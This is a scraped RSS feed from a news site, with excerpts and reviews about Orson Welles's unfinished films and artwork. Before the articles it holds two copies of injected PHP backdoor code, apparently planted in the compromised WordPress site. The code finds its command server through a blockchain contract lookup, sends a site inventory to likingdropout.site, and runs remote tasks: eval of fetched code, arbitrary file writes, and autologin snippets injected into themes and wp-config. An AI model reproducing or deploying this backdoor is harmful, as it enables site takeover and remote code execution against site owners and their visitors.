// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Orson – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 21 Feb 2019 01:26:46 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Orson – Brief News https://briefnews.eu 32 32 Book Excerpt: The Unseen Art of Orson Welles https://briefnews.eu/book-excerpt-the-unseen-art-of-orson-welles/ https://briefnews.eu/book-excerpt-the-unseen-art-of-orson-welles/#respond Thu, 21 Feb 2019 01:26:46 +0000 http://briefnews.eu/book-excerpt-the-unseen-art-of-orson-welles/ Orson Welles was, as we all know, one of the true Renaissance men of his time: a gifted filmmaker, stage director, writer, actor, and storyteller. His skill as a visual artist was less known — but was among his first passions, spending a summer studying at the Art Institute of Chicago and continuing to draw, sketch, and paint throughout his life. Most of that was for his private amusement, not intended for public consumption, and thus not widely seen during his lifetime and the years immediately after.

But now that’s changing. Filmmaker Mark Cousins (The Story of Film) has crafted a documentary called The Eyes of Orson Welles that explores those works; it’s out on March 15. And Titan Books — with the cooperation and blessing of Welles’ estate and his daughter Beatrice — has collected his portraits, sketches, designs, and more in a handsome new volume, titled, simply, Orson Welles Portfolio (out now). We’re proud to present this exclusive gallery of images from the book.

(‘Don Quixote’ oil painting, courtesy Titan Books)

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]]> https://briefnews.eu/book-excerpt-the-unseen-art-of-orson-welles/feed/ 0 Recommended Reading: The Watcher, The Period Watchers, and Unfinished Orson https://briefnews.eu/recommended-reading-the-watcher-the-period-watchers-and-unfinished-orson/ https://briefnews.eu/recommended-reading-the-watcher-the-period-watchers-and-unfinished-orson/#respond Fri, 16 Nov 2018 17:35:14 +0000 http://briefnews.eu/recommended-reading-the-watcher-the-period-watchers-and-unfinished-orson/ Modern online media is all about the signal boost, so every Friday here at Flavorwire, we take a moment to spotlight some of the best stuff we’ve read online this week. Today, we’ve got a bit of non-fiction horror that will make your skin crawl, a look at health apps that’s pretty scary too, a deep-dive into the incomplete works of one of our greatest filmmakers, and a devastating critique of the week in Trumpland. 

Bilge Ebiri tracks the rest of the unfinished Orson Welles filmography.

When Netflix financed and released the 40-plus-years-in-the-making The Other Side of the Wind, outlets a-plenty (including this one) described it as Orson Welles’ final feature. But that’s not exactly true; Welles left behind several productions in various stages of completion (or lack thereof), and Ebiri details all of them for Vulture.

The Deep (started 1966)

Here’s another full feature that Welles shot over some years (from 1966–69) but never finished editing. Which is ironic because he had hoped that this one would be a more commercial movie: It’s an adaptation of Charles Williams’s novel Dead Calm — the same story that inspired the 1989 Nicole Kidman–Sam Neill–Billy Zane thriller — starring Welles himself, Jeanne Moreau, Laurence Harvey, Michael Bryant, and Oja Kodar. One of the major impediments to finalizing the film has been that many of the main actors are dead — Harvey died in 1973 — and a lot of their dialogue was never properly recorded. Additionally, the negatives have been lost, and the only surviving versions appear to be rough cuts Welles worked on but never finished over the years. A work print assembled by the Munich Film Museum screened at MoMA in 2015, but in order for this ever to be completed properly, a major undertaking would be needed — perhaps even more ambitious than what Netflix has done with The Other Side of the Wind.

Reeves Wiedeman tells a suburban haunted house story.

We all love movies like The Amityville Horror and Poltergeist, in which families are shocked to discover the dark secrets of their family home. At The Cut, Wiedman has a creepy real-life variation: a family buys their dream home, sets about getting it ready for their family, and then… the anonymous letters begin to arrive:

The letter identified the Broadduses’ Honda minivan, as well as the workers renovating the home. “I see already that you have flooded 657 Boulevard with contractors so that you can destroy the house as it was supposed to be,” the person wrote. “Tsk, tsk, tsk … bad move. You don’t want to make 657 Boulevard unhappy.” Earlier in the week, Derek and Maria had gone to the house and chatted with their new neighbors while their children, who were 5, 8, and 10 years old, ran around the backyard with several kids from the neighborhood. The letter writer seemed to have noticed. “You have children. I have seen them. So far I think there are three that I have counted,” the anonymous correspondent wrote, before asking if there were “more on the way”:

Do you need to fill the house with the young blood I requested? Better for me. Was your old house too small for the growing family? Or was it greed to bring me your children? Once I know their names I will call to them and draw them too [sic] me.

The envelope had no return address. “Who am I?” the person wrote. “There are hundreds and hundreds of cars that drive by 657 Boulevard each day. Maybe I am in one. Look at all the windows you can see from 657 Boulevard. Maybe I am in one. Look out any of the many windows in 657 Boulevard at all the people who stroll by each day. Maybe I am one.” The letter concluded with a suggestion that this message would not be the last — “Welcome my friends, welcome. Let the party begin” — followed by a signature typed in a cursive font: “The Watcher.”

Kaitlyn Tiffany on the period-tracking app industry.

“A cartoon cloud told me I might be pregnant,” begins Tiffany’s Vox explainer of the problems with the existing smartphone technology created to help women track their cycles — but created mostly by men, and from their limited perspective:

There’s a handful of fancy, venture-funded period-tracking apps. And there are hundreds of free, ad-supported, easy-to-use apps that track menstruation and fertility and simultaneously invite users to track their diet, their workouts, their sex lives, their mood, the state of their skin, the smell of their vaginal discharge. They are mostly glitchy and cheaply made, and the result of opportunists seeing a need and kind of, not really, fulfilling it.

In the health category, this type of app is reportedly the fourth most popular among adults and second most popular among adolescent women. My floating cloud app was one of these junky, generic options, and the choice to download it was not an educated one; it was just whatever the App Store guessed I would want when I typed in “period tracking” more than four years ago.

This app wasn’t designed for me. It wasn’t designed for anyone who wants to track their period or general reproductive health. The same is true of almost every menstruation-tracking app: They’re designed for marketers, for men, for hypothetical unborn children, and perhaps weirdest of all, a kind of voluntary surveillance stance.

David Roth on the big, wet president.

And finally, coming off one of the most spectacularly failure-filled weeks of the Donald Trump presidency — and that’s saying something — Deadspin’s Roth gave us one of the most succinctly accurate and darkly funny summaries of the man (such as he is) and his politics (such as they are) to date:

His politics, to the extent that they’ve ever been legible, have always been off-the-rack big city tabloid bullshit—crudely racist exterminate the brutes/back the blue authoritarianism in the background and ruthless petty rich person squabbling in the front. His actions since becoming president have been those of a dim, cruel child playacting at being a powerful man—giving orders without quite knowing what they mean or how they might be carried out, taunting enemies, beating up the people he can afford to beat up without having to be called to account for it, lying as needed or just for yuks. He hasn’t changed a thing since graduating from punchline to president. It’s been clear for decades that Trump was both an asshole and a dummy; this is now a problem not just for the odd unlucky cocktail waitress and his staff of cheesy apparatchiks but for literally every person on earth.

Presidents exert a kind of ambient influence on the culture, but as Trump is different than previous presidents his influence necessarily feels different. Barack Obama wanted to be a cosmopolitan leader who brought people together and into a deeper empathy through a mastery of reason and rules; the country he governed doesn’t work like that, though, and the tension between that cool vision and this seething reality grew and grew. By the end, his presidency had the feeling of a prestige television show in its fifth season—handsomely produced and reliably well-performed but ultimately not really as sure what it was about as it first appeared to be. Trump has no such pretense or noble aspiration, and has only made the country more like himself; living in his America feels like being trapped in a garish casino that is filling with seawater, because that is what it is.

                        

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]]> https://briefnews.eu/recommended-reading-the-watcher-the-period-watchers-and-unfinished-orson/feed/ 0 ‘The Other Side of the Wind’ Review: Netflix Revives an Orson Welles Artifact [NYFF] https://briefnews.eu/the-other-side-of-the-wind-review-netflix-revives-an-orson-welles-artifact-nyff/ https://briefnews.eu/the-other-side-of-the-wind-review-netflix-revives-an-orson-welles-artifact-nyff/#respond Sun, 30 Sep 2018 08:43:47 +0000 http://briefnews.eu/the-other-side-of-the-wind-review-netflix-revives-an-orson-welles-artifact-nyff/ The Other Side of the Wind Review

The Other Side of the Wind is finally complete — or rather “complete.” Nominally. The final film by the great Orson Welles (assuming The Deep never sees the light of day) begins with a title card explaining that this version, restored by the folks at Netflix, exists as “an attempt to honor and complete” Welles’ original vision, the key word being “attempt.” With so much footage left un-shot and unedited during its original production, no version of the film today can feel truly whole. And yet, despite its haphazard meandering, The Other Side of the Wind, in the form it will now be known, is a fascinating meta-textual artifact on the very piecing together of art and intention.

Despite Welles’ basing the film’s lead, director Jake Hannaford (John Huston), on the late Ernest Hemingway, one cannot but help peer into the past and see the aging, drunken Hannaford as an analogue for Welles himself. The film, which feels cobbled together from too many takes and angles, is framed through several fictitious layers that add up to a rightly mind-boggling whole. There’s The Other Side of the Wind, the Orson Welles mockumentary completed by Netflix. This 4:3 mockumentary is the story of Jake Hannaford’s The Other Side of the Wind, a last-ditch attempt at an avant-garde career revival, a dream-like film that Hannaford is unable to complete once his star walks off set. Then of course, there is Hannaford’s The Other Side of the Wind itself, a bizarre piece that we see unfold in all its Widescreen glory as Hannaford’s collaborators attempt to make sense of it. Finally, and perhaps most vitally, there’s the very framing of the mockumentary: the events we see, from the filming to the wrap-party to the screening of the Hannaford’s dailies, are presented to us posthumously; in the world of this mockumentary, Jake Hannaford, director of the fictitious The Other Side of the Wind, has died before completing the film. What glimpses of it we see are other people’s attempts to make sense of it.

